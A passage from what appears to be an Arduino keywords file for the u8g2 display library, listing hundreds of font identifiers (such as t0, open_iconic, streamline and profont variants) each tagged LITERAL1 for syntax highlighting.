8g2_font_t0_13_tf\tLITERAL1\nu8g2_font_t0_13_tr\tLITERAL1\nu8g2_font_t0_13_tn\tLITERAL1\nu8g2_font_t0_13_te\tLITERAL1\nu8g2_font_t0_13_mf\tLITERAL1\nu8g2_font_t0_13_mr\tLITERAL1\nu8g2_font_t0_13_mn\tLITERAL1\nu8g2_font_t0_13_me\tLITERAL1\nu8g2_font_t0_13b_tf\tLITERAL1\nu8g2_font_t0_13b_tr\tLITERAL1\nu8g2_font_t0_13b_tn\tLITERAL1\nu8g2_font_t0_13b_te\tLITERAL1\nu8g2_font_t0_13b_mf\tLITERAL1\nu8g2_font_t0_13b_mr\tLITERAL1\nu8g2_font_t0_13b_mn\tLITERAL1\nu8g2_font_t0_13b_me\tLITERAL1\nu8g2_font_t0_14_tf\tLITERAL1\nu8g2_font_t0_14_tr\tLITERAL1\nu8g2_font_t0_14_tn\tLITERAL1\nu8g2_font_t0_14_te\tLITERAL1\nu8g2_font_t0_14_mf\tLITERAL1\nu8g2_font_t0_14_mr\tLITERAL1\nu8g2_font_t0_14_mn\tLITERAL1\nu8g2_font_t0_14_me\tLITERAL1\nu8g2_font_t0_14b_tf\tLITERAL1\nu8g2_font_t0_14b_tr\tLITERAL1\nu8g2_font_t0_14b_tn\tLITERAL1\nu8g2_font_t0_14b_te\tLITERAL1\nu8g2_font_t0_14b_mf\tLITERAL1\nu8g2_font_t0_14b_mr\tLITERAL1\nu8g2_font_t0_14b_mn\tLITERAL1\nu8g2_font_t0_14b_me\tLITERAL1\nu8g2_font_t0_15_tf\tLITERAL1\nu8g2_font_t0_15_tr\tLITERAL1\nu8g2_font_t0_15_tn\tLITERAL1\nu8g2_font_t0_15_te\tLITERAL1\nu8g2_font_t0_15_mf\tLITERAL1\nu8g2_font_t0_15_mr\tLITERAL1\nu8g2_font_t0_15_mn\tLITERAL1\nu8g2_font_t0_15_me\tLITERAL1\nu8g2_font_t0_15b_tf\tLITERAL1\nu8g2_font_t0_15b_tr\tLITERAL1\nu8g2_font_t0_15b_tn\tLITERAL1\nu8g2_font_t0_15b_te\tLITERAL1\nu8g2_font_t0_15b_mf\tLITERAL1\nu8g2_font_t0_15b_mr\tLITERAL1\nu8g2_font_t0_15b_mn\tLITERAL1\nu8g2_font_t0_15b_me\tLITERAL1\nu8g2_font_t0_16_tf\tLITERAL1\nu8g2_font_t0_16_tr\tLITERAL1\nu8g2_font_t0_16_tn\tLITERAL1\nu8g2_font_t0_16_te\tLITERAL1\nu8g2_font_t0_16_mf\tLITERAL1\nu8g2_font_t0_16_mr\tLITERAL1\nu8g2_font_t0_16_mn\tLITERAL1\nu8g2_font_t0_16_me\tLITERAL1\nu8g2_font_t0_16b_tf\tLITERAL1\nu8g2_font_t0_16b_tr\tLITERAL1\nu8g2_font_t0_16b_tn\tLITERAL1\nu8g2_font_t0_16b_te\tLITERAL1\nu8g2_font_t0_16b_mf\tLITERAL1\nu8g2_font_t0_16b_mr\tLITERAL1\nu8g2_font_t0_16b_mn\tLITERAL1\nu8g2_font_t0_16b_me\tLITERAL1\nu8g2_font_t0_17_tf\tLITERAL1\nu8g2_font_t0_17_tr\tLITERAL1\nu8g2_font_t0_17_tn\tLITERAL1\nu8g2_font_t0_17_te\tLITERAL1\nu8g2_font_t0_17_mf\tLITERAL1\nu8g2_font_t0_17_mr\tLITERAL1\nu8g2_font_t0_17_mn\tLITERAL1\nu8g2_font_t0_17_me\tLITERAL1\nu8g2_font_t0_17b_tf\tLITERAL1\nu8g2_font_t0_17b_tr\tLITERAL1\nu8g2_font_t0_17b_tn\tLITERAL1\nu8g2_font_t0_17b_te\tLITERAL1\nu8g2_font_t0_17b_mf\tLITERAL1\nu8g2_font_t0_17b_mr\tLITERAL1\nu8g2_font_t0_17b_mn\tLITERAL1\nu8g2_font_t0_17b_me\tLITERAL1\nu8g2_font_t0_18_tf\tLITERAL1\nu8g2_font_t0_18_tr\tLITERAL1\nu8g2_font_t0_18_tn\tLITERAL1\nu8g2_font_t0_18_te\tLITERAL1\nu8g2_font_t0_18_mf\tLITERAL1\nu8g2_font_t0_18_mr\tLITERAL1\nu8g2_font_t0_18_mn\tLITERAL1\nu8g2_font_t0_18_me\tLITERAL1\nu8g2_font_t0_18b_tf\tLITERAL1\nu8g2_font_t0_18b_tr\tLITERAL1\nu8g2_font_t0_18b_tn\tLITERAL1\nu8g2_font_t0_18b_te\tLITERAL1\nu8g2_font_t0_18b_mf\tLITERAL1\nu8g2_font_t0_18b_mr\tLITERAL1\nu8g2_font_t0_18b_mn\tLITERAL1\nu8g2_font_t0_18b_me\tLITERAL1\nu8g2_font_t0_22_tf\tLITERAL1\nu8g2_font_t0_22_tr\tLITERAL1\nu8g2_font_t0_22_tn\tLITERAL1\nu8g2_font_t0_22_te\tLITERAL1\nu8g2_font_t0_22_mf\tLITERAL1\nu8g2_font_t0_22_mr\tLITERAL1\nu8g2_font_t0_22_mn\tLITERAL1\nu8g2_font_t0_22_me\tLITERAL1\nu8g2_font_t0_22b_tf\tLITERAL1\nu8g2_font_t0_22b_tr\tLITERAL1\nu8g2_font_t0_22b_tn\tLITERAL1\nu8g2_font_t0_22b_te\tLITERAL1\nu8g2_font_t0_22b_mf\tLITERAL1\nu8g2_font_t0_22b_mr\tLITERAL1\nu8g2_font_t0_22b_mn\tLITERAL1\nu8g2_font_t0_22b_me\tLITERAL1\nu8g2_font_open_iconic_all_1x_t\tLITERAL1\nu8g2_font_open_iconic_app_1x_t\tLITERAL1\nu8g2_font_open_iconic_arrow_1x_t\tLITERAL1\nu8g2_font_open_iconic_check_1x_t\tLITERAL1\nu8g2_font_open_iconic_email_1x_t\tLITERAL1\nu8g2_font_open_iconic_embedded_1x_t\tLITERAL1\nu8g2_font_open_iconic_gui_1x_t\tLITERAL1\nu8g2_font_open_iconic_human_1x_t\tLITERAL1\nu8g2_font_open_iconic_mime_1x_t\tLITERAL1\nu8g2_font_open_iconic_other_1x_t\tLITERAL1\nu8g2_font_open_iconic_play_1x_t\tLITERAL1\nu8g2_font_open_iconic_text_1x_t\tLITERAL1\nu8g2_font_open_iconic_thing_1x_t\tLITERAL1\nu8g2_font_open_iconic_weather_1x_t\tLITERAL1\nu8g2_font_open_iconic_www_1x_t\tLITERAL1\nu8x8_font_open_iconic_arrow_1x1\tLITERAL1\nu8x8_font_open_iconic_check_1x1\tLITERAL1\nu8x8_font_open_iconic_embedded_1x1\tLITERAL1\nu8x8_font_open_iconic_play_1x1\tLITERAL1\nu8x8_font_open_iconic_thing_1x1\tLITERAL1\nu8x8_font_open_iconic_weather_1x1\tLITERAL1\nu8g2_font_open_iconic_all_2x_t\tLITERAL1\nu8g2_font_open_iconic_app_2x_t\tLITERAL1\nu8g2_font_open_iconic_arrow_2x_t\tLITERAL1\nu8g2_font_open_iconic_check_2x_t\tLITERAL1\nu8g2_font_open_iconic_email_2x_t\tLITERAL1\nu8g2_font_open_iconic_embedded_2x_t\tLITERAL1\nu8g2_font_open_iconic_gui_2x_t\tLITERAL1\nu8g2_font_open_iconic_human_2x_t\tLITERAL1\nu8g2_font_open_iconic_mime_2x_t\tLITERAL1\nu8g2_font_open_iconic_other_2x_t\tLITERAL1\nu8g2_font_open_iconic_play_2x_t\tLITERAL1\nu8g2_font_open_iconic_text_2x_t\tLITERAL1\nu8g2_font_open_iconic_thing_2x_t\tLITERAL1\nu8g2_font_open_iconic_weather_2x_t\tLITERAL1\nu8g2_font_open_iconic_www_2x_t\tLITERAL1\nu8x8_font_open_iconic_arrow_2x2\tLITERAL1\nu8x8_font_open_iconic_check_2x2\tLITERAL1\nu8x8_font_open_iconic_embedded_2x2\tLITERAL1\nu8x8_font_open_iconic_play_2x2\tLITERAL1\nu8x8_font_open_iconic_thing_2x2\tLITERAL1\nu8x8_font_open_iconic_weather_2x2\tLITERAL1\nu8g2_font_open_iconic_all_4x_t\tLITERAL1\nu8g2_font_open_iconic_app_4x_t\tLITERAL1\nu8g2_font_open_iconic_arrow_4x_t\tLITERAL1\nu8g2_font_open_iconic_check_4x_t\tLITERAL1\nu8g2_font_open_iconic_email_4x_t\tLITERAL1\nu8g2_font_open_iconic_embedded_4x_t\tLITERAL1\nu8g2_font_open_iconic_gui_4x_t\tLITERAL1\nu8g2_font_open_iconic_human_4x_t\tLITERAL1\nu8g2_font_open_iconic_mime_4x_t\tLITERAL1\nu8g2_font_open_iconic_other_4x_t\tLITERAL1\nu8g2_font_open_iconic_play_4x_t\tLITERAL1\nu8g2_font_open_iconic_text_4x_t\tLITERAL1\nu8g2_font_open_iconic_thing_4x_t\tLITERAL1\nu8g2_font_open_iconic_weather_4x_t\tLITERAL1\nu8g2_font_open_iconic_www_4x_t\tLITERAL1\nu8x8_font_open_iconic_arrow_4x4\tLITERAL1\nu8x8_font_open_iconic_check_4x4\tLITERAL1\nu8x8_font_open_iconic_embedded_4x4\tLITERAL1\nu8x8_font_open_iconic_play_4x4\tLITERAL1\nu8x8_font_open_iconic_thing_4x4\tLITERAL1\nu8x8_font_open_iconic_weather_4x4\tLITERAL1\nu8g2_font_open_iconic_all_6x_t\tLITERAL1\nu8g2_font_open_iconic_app_6x_t\tLITERAL1\nu8g2_font_open_iconic_arrow_6x_t\tLITERAL1\nu8g2_font_open_iconic_check_6x_t\tLITERAL1\nu8g2_font_open_iconic_email_6x_t\tLITERAL1\nu8g2_font_open_iconic_embedded_6x_t\tLITERAL1\nu8g2_font_open_iconic_gui_6x_t\tLITERAL1\nu8g2_font_open_iconic_human_6x_t\tLITERAL1\nu8g2_font_open_iconic_mime_6x_t\tLITERAL1\nu8g2_font_open_iconic_other_6x_t\tLITERAL1\nu8g2_font_open_iconic_play_6x_t\tLITERAL1\nu8g2_font_open_iconic_text_6x_t\tLITERAL1\nu8g2_font_open_iconic_thing_6x_t\tLITERAL1\nu8g2_font_open_iconic_weather_6x_t\tLITERAL1\nu8g2_font_open_iconic_www_6x_t\tLITERAL1\nu8g2_font_open_iconic_all_8x_t\tLITERAL1\nu8g2_font_open_iconic_app_8x_t\tLITERAL1\nu8g2_font_open_iconic_arrow_8x_t\tLITERAL1\nu8g2_font_open_iconic_check_8x_t\tLITERAL1\nu8g2_font_open_iconic_email_8x_t\tLITERAL1\nu8g2_font_open_iconic_embedded_8x_t\tLITERAL1\nu8g2_font_open_iconic_gui_8x_t\tLITERAL1\nu8g2_font_open_iconic_human_8x_t\tLITERAL1\nu8g2_font_open_iconic_mime_8x_t\tLITERAL1\nu8g2_font_open_iconic_other_8x_t\tLITERAL1\nu8g2_font_open_iconic_play_8x_t\tLITERAL1\nu8g2_font_open_iconic_text_8x_t\tLITERAL1\nu8g2_font_open_iconic_thing_8x_t\tLITERAL1\nu8g2_font_open_iconic_weather_8x_t\tLITERAL1\nu8g2_font_open_iconic_www_8x_t\tLITERAL1\nu8x8_font_open_iconic_arrow_8x8\tLITERAL1\nu8x8_font_open_iconic_check_8x8\tLITERAL1\nu8x8_font_open_iconic_embedded_8x8\tLITERAL1\nu8x8_font_open_iconic_play_8x8\tLITERAL1\nu8x8_font_open_iconic_thing_8x8\tLITERAL1\nu8x8_font_open_iconic_weather_8x8\tLITERAL1\nu8g2_font_streamline_all_t\tLITERAL1\nu8g2_font_streamline_building_real_estate_t\tLITERAL1\nu8g2_font_streamline_business_t\tLITERAL1\nu8g2_font_streamline_coding_apps_websites_t\tLITERAL1\nu8g2_font_streamline_computers_devices_electronics_t\tLITERAL1\nu8g2_font_streamline_content_files_t\tLITERAL1\nu8g2_font_streamline_design_t\tLITERAL1\nu8g2_font_streamline_ecology_t\tLITERAL1\nu8g2_font_streamline_email_t\tLITERAL1\nu8g2_font_streamline_entertainment_events_hobbies_t\tLITERAL1\nu8g2_font_streamline_food_drink_t\tLITERAL1\nu8g2_font_streamline_hand_signs_t\tLITERAL1\nu8g2_font_streamline_health_beauty_t\tLITERAL1\nu8g2_font_streamline_interface_essential_action_t\tLITERAL1\nu8g2_font_streamline_interface_essential_alert_t\tLITERAL1\nu8g2_font_streamline_interface_essential_audio_t\tLITERAL1\nu8g2_font_streamline_interface_essential_calendar_t\tLITERAL1\nu8g2_font_streamline_interface_essential_chart_t\tLITERAL1\nu8g2_font_streamline_interface_essential_circle_triangle_t\tLITERAL1\nu8g2_font_streamline_interface_essential_cog_t\tLITERAL1\nu8g2_font_streamline_interface_essential_cursor_t\tLITERAL1\nu8g2_font_streamline_interface_essential_dial_pad_t\tLITERAL1\nu8g2_font_streamline_interface_essential_edit_t\tLITERAL1\nu8g2_font_streamline_interface_essential_expand_shrink_t\tLITERAL1\nu8g2_font_streamline_interface_essential_eye_t\tLITERAL1\nu8g2_font_streamline_interface_essential_file_t\tLITERAL1\nu8g2_font_streamline_interface_essential_help_t\tLITERAL1\nu8g2_font_streamline_interface_essential_hierarchy_t\tLITERAL1\nu8g2_font_streamline_interface_essential_home_menu_t\tLITERAL1\nu8g2_font_streamline_interface_essential_id_t\tLITERAL1\nu8g2_font_streamline_interface_essential_key_lock_t\tLITERAL1\nu8g2_font_streamline_interface_essential_link_t\tLITERAL1\nu8g2_font_streamline_interface_essential_loading_t\tLITERAL1\nu8g2_font_streamline_interface_essential_login_t\tLITERAL1\nu8g2_font_streamline_interface_essential_other_t\tLITERAL1\nu8g2_font_streamline_interface_essential_paginate_t\tLITERAL1\nu8g2_font_streamline_interface_essential_search_t\tLITERAL1\nu8g2_font_streamline_interface_essential_setting_t\tLITERAL1\nu8g2_font_streamline_interface_essential_share_t\tLITERAL1\nu8g2_font_streamline_interface_essential_text_t\tLITERAL1\nu8g2_font_streamline_interface_essential_wifi_t\tLITERAL1\nu8g2_font_streamline_interface_essential_zoom_t\tLITERAL1\nu8g2_font_streamline_internet_network_t\tLITERAL1\nu8g2_font_streamline_logo_t\tLITERAL1\nu8g2_font_streamline_map_navigation_t\tLITERAL1\nu8g2_font_streamline_money_payments_t\tLITERAL1\nu8g2_font_streamline_music_audio_t\tLITERAL1\nu8g2_font_streamline_pet_animals_t\tLITERAL1\nu8g2_font_streamline_phone_t\tLITERAL1\nu8g2_font_streamline_photography_t\tLITERAL1\nu8g2_font_streamline_romance_t\tLITERAL1\nu8g2_font_streamline_school_science_t\tLITERAL1\nu8g2_font_streamline_shopping_shipping_t\tLITERAL1\nu8g2_font_streamline_social_rewards_t\tLITERAL1\nu8g2_font_streamline_technology_t\tLITERAL1\nu8g2_font_streamline_transportation_t\tLITERAL1\nu8g2_font_streamline_travel_wayfinding_t\tLITERAL1\nu8g2_font_streamline_users_t\tLITERAL1\nu8g2_font_streamline_video_movies_t\tLITERAL1\nu8g2_font_streamline_weather_t\tLITERAL1\nu8g2_font_profont10_tf\tLITERAL1\nu8g2_font_profont10_tr\tLITERAL1\nu8g2_font_profont10_tn\tLITERAL1\nu8g2_font_profont10_mf\tLITERAL1\nu8g2_font_profont10_mr\tLITERAL1\nu8g2_font_profont10_mn\tLITERAL1\nu8g2_font_profont11_tf\tLITERAL1\nu8g2_font_profont11_tr\tLITERAL1\nu8g2_font_profont11_tn\tLITERAL1\nu8g2_font_profont11_mf\tLITERAL1\nu8g2_font_profont11_mr\tLITERAL1\nu8g2_font_profont11_mn\tLITERAL1\nu8g2_font_profont12_tf\tLITERAL1\nu8g2_font_profont12_tr\tLITERAL1\nu8g2_font_profont12_tn\tLITERAL1\nu8g2_font_profont12_mf\tLITERAL1\nu8g2_font_profont12_mr\tLITERAL1\nu8g2_font_profont12_mn\tLITERAL1\nu8g2_font_profont15_tf\tLITERAL1\nu8g2_font_profont15_tr\tLITERAL1\nu8g2_font_profont15_tn\tLITERAL1\nu8g2_font_profont15_mf\tLITERAL1\nu8g2_font_profont15_mr\tLITERAL1\nu8g2_font_profont15_mn\tLITERAL1\nu8g2_font_profont17_tf\tLITERAL1\nu8g2_font_profont17_tr\tLITERAL1\nu8g2_font_profont17_tn\tLITERAL1\nu8g2_font_profont17_mf\tLITERAL1\nu8g2_font_profont17_mr\tLITERAL1\nu8g2_font_profont17_mn\tLITERAL1\nu8g2_font_profont22_tf\tLITERAL1\nu8g2_font_profont22_tr\tLITERAL1\nu8g2_font_profont22_tn\tLITERAL1\nu8g2_font_profont22_mf\tLITERAL1\nu8g2_font_profont22_mr\tLITERAL1\nu8g2_font_profont22_mn\tLITERAL1\nu8g2_font_profont29_tf\tLITERAL1\nu8g2_font_profont29_tr\tLITERAL1\nu8g2_font_profont29_tn\tLITERAL1\nu8g2_font_profont29_mf\tLITERAL1\nu8g2_font_profont29_mr\tLITERAL1\nu8g2_font_profont29_mn\tLITERAL1\nu8x8_font_profont29_2x3_f\tLITERAL1\nu8x8_font_profont29_2x3_r\tLITERAL1\nu8x8_font_profont29_2x3_n\tLITERAL1\nu8g2_font_samim_10_t_all\tLITERAL1\nu8g2_font_samim_12_t_all\tLITERAL1\nu8g2_font_samim_14_t_all\tLITERAL1\nu8g2_font_samim_16_t_all\tLITERAL1\nu8g2_font_samim_fd_10_t_all\tLITERAL1\nu8g2_font_samim_fd_12_t_all\tLITERAL1\nu8g2_font_samim_fd_14_t_all\tLITERAL1\nu8g2_font_samim_fd_16_t_all\tLITERAL1\nu8g2_font_ganj_nameh_sans10_t_all\tLITERAL1\nu8g2_font_ganj_nameh_sans12_t_all\tLITERAL1\nu8g2_font_ganj_nameh_sans14_t_all\tLITERAL1\nu8g2_font_ganj_nameh_sans16_t_all\tLITERAL1\nu8g2_font_iranian_sans_8_t_all\tLITERAL1\nu8g2_font_iranian_sans_10_t_all\tLITERAL1\nu8g2_font_iranian_sans_12_t_all\tLITERAL1\nu8g2_font_iranian_sans_14_t_all\tLITERAL1\nu8g2_font_iranian_sans_16_t_all\tLITERAL1\nu8g2_font_mozart_nbp_tf\tLITERAL1\nu8g2_font_mozart_nbp_tr\tLITERAL1\nu8g2_font_mozart_nbp_tn\tLITERAL1\nu8g2_font_mozart_nbp_t_all\tLITERAL1\nu8g2_font_mozart_nbp_h_all\tLITERAL1\nu8g2_font_glasstown_nbp_tf\tLITERAL1\nu8g2_font_glasstown_nbp_tr\tLITERAL1\nu8g2_font_glasstown_nbp_tn\tLITERAL1\nu8g2_font_glasstown_nbp_t_all\tLITERAL1\nu8g2_font_shylock_nbp_tf\tLITERAL1\nu8g2_font_shylock_nbp_tr\tLITERAL1\nu8g2_font_shylock_nbp_tn\tLITERAL1\nu8g2_font_shylock_nbp_t_all\tLITERAL1\nu8g2_font_roentgen_nbp_tf\tLITERAL1\nu8g2_font_roentgen_nbp_tr\tLITERAL1\nu8g2_font_roentgen_nbp_tn\tLITERAL1\nu8g2_font_roentgen_nbp_t_all\tLITERAL1\nu8g2_font_roentgen_nbp_h_all\tLITERAL1\nu8g2_font_calibration_gothic_nbp_tf\tLITERAL1\nu8g2_font_calibration_gothic_nbp_tr\tLITERAL1\nu8g2_font_calibration_gothic_nbp_tn\tLITERAL1\nu8g2_font_calibration_gothic_nbp_t_all\tLITERAL1\nu8g2_font_smart_patrol_nbp_tf\tLITERAL1\nu8g2_font_smart_patrol_nbp_tr\tLITERAL1\nu8g2_font_smart_patrol_nbp_tn\tLITERAL1\nu8g2_font_prospero_bold_nbp_tf\tLITERAL1\nu8g2_font_prospero_bold_nbp_tr\tLITERAL1\nu8g2_font_prospero_bold_nbp_tn\tLITERAL1\nu8g2_font_prospero_nbp_tf\tLITERAL1\nu8g2_font_prospero_nbp_tr\tLITERAL1\nu8g2_font_prospero_nbp_tn\tLITERAL1\nu8g2_font_balthasar_regular_nbp_tf\tLITERAL1\nu8g2_font_balthasar_regular_nbp_tr\tLITERAL1\nu8g2_font_balthasar_regular_nbp_tn\tLITERAL1\nu8g2_font_balthasar_titling_nbp_tf\tLITERAL1\nu8g2_font_balthasar_titling_nbp_tr\tLITERAL1\nu8g2_font_balthasar_titling_nbp_tn\tLITERAL1\nu8g2_font_synchronizer_nbp_tf\tLITERAL1\nu8g2_font_synchronizer_nbp_tr\tLITERAL1\nu8g2_font_synchronizer_nbp_tn\tLITERAL1\nu8g2_font_mercutio_basic_nbp_tf\tLITERAL1\nu8g2_font_mercutio_basic_nbp_tr\tLITERAL1\nu8g2_font_mercutio_basic_nbp_tn\tLITERAL1\nu8g2_font_mercutio_basic_nbp_t_all\tLITERAL1\nu8g2_font_mercutio_sc_nbp_tf\tLITERAL1\nu8g2_font_mercutio_sc_nbp_tr\tLITERAL1\nu8g2_font_mercutio_sc_nbp_tn\tLITERAL1\nu8g2_font_mercutio_sc_nbp_t_all\tLITERAL1\nu8g2_font_miranda_nbp_tf\tLITERAL1\nu8g2_font_miranda_nbp_tr\tLITERAL1\nu8g2_font_miranda_nbp_tn\tLITERAL1\nu8g2_font_nine_by_five_nbp_tf\tLITERAL1\nu8g2_font_nine_by_five_nbp_tr\tLITERAL1\nu8g2_font_nine_by_five_nbp_tn\tLITERAL1\nu8g2_font_nine_by_five_nbp_t_all\tLITERAL1\nu8g2_font_rosencrantz_nbp_tf\tLITERAL1\nu8g2_font_rosencrantz_nbp_tr\tLITERAL1\nu8g2_font_rosencrantz_nbp_tn\tLITERAL1\nu8g2_font_rosencrantz_nbp_t_all\tLITERAL1\nu8g2_font_guildenstern_nbp_tf\tLITERAL1\nu8g2_font_guildenstern_nbp_tr\tLITERAL1\nu8g2_font_guildenstern_nbp_tn\tLITERAL1\nu8g2_font_guildenstern_nbp_t_all\tLITERAL1\nu8g2_font_astragal_nbp_tf\tLITERAL1\nu8g2_font_astragal_nbp_tr\tLITERAL1\nu8g2_font_astragal_nbp_tn\tLITERAL1\nu8g2_font_habsburgchancery_tf\tLITERAL1\nu8g2_font_habsburgchancery_tr\tLITERAL1\nu8g2_font_habsburgchancery_tn\tLITERAL1\nu8g2_font_habsburgchancery_t_all\tLITERAL1\nu8g2_font_missingplanet_tf\tLITERAL1\nu8g2_font_missingplanet_tr\tLITERAL1\nu8g2_font_missingplanet_tn\tLITERAL1\nu8g2_font_missingplanet_t_all\tLITERAL1\nu8g2_font_ordinarybasis_tf\tLITERAL1\nu8g2_font_ordinarybasis_tr\tLITERAL1\nu8g2_font_ordinarybasis_tn\tLITERAL1\nu8g2_font_ordinarybasis_t_all\tLITERAL1\nu8g2_font_pixelmordred_tf\tLITERAL1\nu8g2_font_pixelmordred_tr\tLITERAL1\nu8g2_font_pixelmordred_tn\tLITERAL1\nu8g2_font_pixelmordred_t_all\tLITERAL1\nu8g2_font_secretaryhand_tf\tLITERAL1\nu8g2_font_secretaryhand_tr\tLITERAL1\nu8g2_font_secretaryhand_tn\tLITERAL1\nu8g2_font_secretaryhand_t_all\tLITERAL1\nu8g2_font_garbagecan_tf\tLITERAL1\nu8g2_font_garbagecan_tr\tLITERAL1\nu8g2_font_beanstalk_mel_tr\tLITERAL1\nu8g2_font_beanstalk_mel_tn\tLITERAL1\nu8g2_font_cube_mel_tr\tLITERAL1\nu8g2_font_cube_mel_tn\tLITERAL1\nu8g2_font_mademoiselle_mel_tr\tLITERAL1\nu8g2_font_mademoiselle_mel_tn\tLITERAL1\nu8g2_font_pieceofcake_mel_tr\tLITERAL1\nu8g2_font_pieceofcake_mel_tn\tLITERAL1\nu8g2_font_press_mel_tr\tLITERAL1\nu8g2_font_press_mel_tn\tLITERAL1\nu8g2_font_repress_mel_tr\tLITERAL1\nu8g2_font_repress_mel_tn\tLITERAL1\nu8g2_font_sticker_mel_tr\tLITERAL1\nu8g2_font_sticker_mel_tn\tLITERAL1\nu8g2_font_celibatemonk_tr\tLITERAL1\nu8g2_font_disrespectfulteenager_tu\tLITERAL1\nu8g2_font_michaelmouse_tu\tLITERAL1\nu8g2_font_sandyforest_tr\tLITERAL1\nu8g2_font_sandyforest_tn\tLITERAL1\nu8g2_font_sandyforest_tu\tLITERAL1\nu8g2_font_cupcakemetoyourleader_tr\tLITERAL1\nu8g2_font_cupcakemetoyourleader_tn\tLITERAL1\nu8g2_font_cupcakemetoyourleader_tu\tLITERAL1\nu8g2_font_oldwizard_tf\tLITERAL1\nu8g2_font_oldwizard_tr\tLITERAL1\nu8g2_font_oldwizard_tn\tLITERAL1\nu8g2_font_oldwizard_tu\tLITERAL1\nu8g2_font_squirrel_tr\tLITERAL1\nu8g2_font_squirrel_tn\tLITERAL1\nu8g2_font_squirrel_tu\tLITERAL1\nu8g2_font_diodesemimono_tr\tLITERAL1\nu8g2_font_questgiver_tr\tLITERAL1\nu8g2_font_seraphimb1_tr\tLITERAL1\nu8g2_font_resoledbold_tr\tLITERAL1\nu8g2_font_resoledmedium_tr\tLITERAL1\nu8g2_font_jinxedwizards_tr\tLITERAL1\nu8g2_font_lastpriestess_tr\tLITERAL1\nu8g2_font_lastpriestess_tu\tLITERAL1\nu8g2_font_bitcasual_tf\tLITERAL1\nu8g2_font_bitcasual_tr\tLITERAL1\nu8g2_font_bitcasual_tn\tLITERAL1\nu8g2_font_bitcasual_tu\tLITERAL1\nu8g2_font_bitcasual_t_all\tLITERAL1\nu8g2_font_koleeko_tf\tLITERAL1\nu8g2_font_koleeko_tr\tLITERAL1\nu8g2_font_koleeko_tn\tLITERAL1\nu8g2_font_koleeko_tu\tLITERAL1\nu8g2_font_tenfatguys_tf\tLITERAL1\nu8g2_font_tenfatguys_tr\tLITERAL1\nu8g2_font_tenfatguys_tn\tLITERAL1\nu8g2_font_tenfatguys_tu\tLITERAL1\nu8g2_font_tenfatguys_t_all\tLITERAL1\nu8g2_font_tenstamps_mf\tLITERAL1\nu8g2_font_tenstamps_mr\tLITERAL1\nu8g2_font_tenstamps_mn\tLITERAL1\nu8g2_font_tenstamps_mu\tLITERAL1\nu8g2_font_tenthinguys_tf\tLITERAL1\nu8g2_font_tenthinguys_tr\tLITERAL1\nu8g2_font_tenthinguys_tn\tLITERAL1\nu8g2_font_tenthinguys_tu\tLITERAL1\nu8g2_font_tenthinguys_t_all\tLITERAL1\nu8g2_font_tenthinnerguys_tf\tLITERAL1\nu8g2_font_tenthinnerguys_tr\tLITERAL1\nu8g2_font_tenthinnerguys_tn\tLITERAL1\nu8g2_font_tenthinnerguys_tu\tLITERAL1\nu8g2_font_tenthinnerguys_t_all\tLITERAL1\nu8g2_font_twelvedings_t_all\tLITERAL1\nu8g2_font_frigidaire_mr\tLITERAL1\nu8g2_font_lord_mr\tLITERAL1\nu8g2_font_abel_mr\tLITERAL1\nu8g2_font_fewture_tf\tLITERAL1\nu8g2_font_fewture_tr\tLITERAL1\nu8g2_font_fewture_tn\tLITERAL1\nu8g2_font_halftone_tf\tLITERAL1\nu8g2_font_halftone_tr\tLITERAL1\nu8g2_font_halftone_tn\tLITERAL1\nu8g2_font_nerhoe_tf\tLITERAL1\nu8g2_font_nerhoe_tr\tLITERAL1\nu8g2_font_nerhoe_tn\tLITERAL1\nu8g2_font_oskool_tf\tLITERAL1\nu8g2_font_oskool_tr\tLITERAL1\nu8g2_font_oskool_tn\tLITERAL1\nu8g2_font_tinytim_tf\tLITERAL1\nu8g2_font_tinytim_tr\tLITERAL1\nu8g2_font_tinytim_tn\tLITERAL1\nu8g2_font_tooseornament_tf\tLITERAL1\nu8g2_font_tooseornament_tr\tLITERAL1\nu8g2_font_tooseornament_tn\tLITERAL1\nu8g2_font_bauhaus2015_tr\tLITERAL1\nu8g2_font_bauhaus2015_tn\tLITERAL1\nu8g2_font_finderskeepers_tf\tLITERAL1\nu8g2_font_finderskeepers_tr\tLITERAL1\nu8g2_font_finderskeepers_tn\tLITERAL1\nu8g2_font_sirclivethebold_tr\tLITERAL1\nu8g2_font_sirclivethebold_tn\tLITERAL1\nu8g2_font_sirclive_tr\tLITERAL1\nu8g2_font_sirclive_tn\tLITERAL1\nu8g2_font_adventurer_tf\tLITERAL1\nu8g2_font_adventurer_tr\tLITERAL1\nu8g2_font_adventurer_t_all\tLITERAL1\nu8g2_font_bracketedbabies_tr\tLITERAL1\nu8g2_font_frikativ_tf\tLITERAL1\nu8g2_font_frikativ_tr\tLITERAL1\nu8g2_font_frikativ_t_all\tLITERAL1\nu8g2_font_fancypixels_tf\tLITERAL1\nu8g2_font_fancypixels_tr\tLITERAL1\nu8g2_font_heavybottom_tr\tLITERAL1\nu8g2_font_iconquadpix_m_all\tLITERAL1\nu8g2_font_tallpix_tr\tLITERAL1\nu8g2_font_botmaker_te\tLITERAL1\nu8g2_font_efraneextracondensed_te\tLITERAL1\nu8g2_font_3x3basic_tr\tLITERAL1\nu8g2_font_tiny_gk_tr\tLITERAL1\nu8g2_font_threepix_tr\tLITERAL1\nu8g2_font_eventhrees_tr\tLITERAL1\nu8g2_font_fourmat_tf\tLITERAL1\nu8g2_font_fourmat_tr\tLITERAL1\nu8g2_font_fourmat_te\tLITERAL1\nu8g2_font_tiny_simon_tr\tLITERAL1\nu8g2_font_tiny_simon_mr\tLITERAL1\nu8g2_font_smolfont_tf\tLITERAL1\nu8g2_font_smolfont_tr\tLITERAL1\nu8g2_font_smolfont_te\tLITERAL1\nu8g2_font_tinyunicode_tf\tLITERAL1\nu8g2_font_tinyunicode_tr\tLITERAL1\nu8g2_font_tinyunicode_te\tLITERAL1\nu8g2_font_tinypixie2_tr\tLITERAL1\nu8g2_font_standardized3x5_tr\tLITERAL1\nu8g2_font_fivepx_tr\tLITERAL1\nu8g2_font_3x5im_tr\tLITERAL1\nu8g2_font_3x5im_te\tLITERAL1\nu8g2_font_3x5im_mr\tLITERAL1\nu8g2_font_wedge_tr\tLITERAL1\nu8g2_font_kibibyte_tr\tLITERAL1\nu8g2_font_kibibyte_te\tLITERAL1\nu8g2_font_tinyface_tr\tLITERAL1\nu8g2_font_tinyface_te\tLITERAL1\nu8g2_font_smallsimple_tr\tLITERAL1\nu8g2_font_smallsimple_te\tLITERAL1\nu8g2_font_simple1_tf\tLITERAL1\nu8g2_font_simple1_tr\tLITERAL1\nu8g2_font_simple1_te\tLITERAL1\nu8g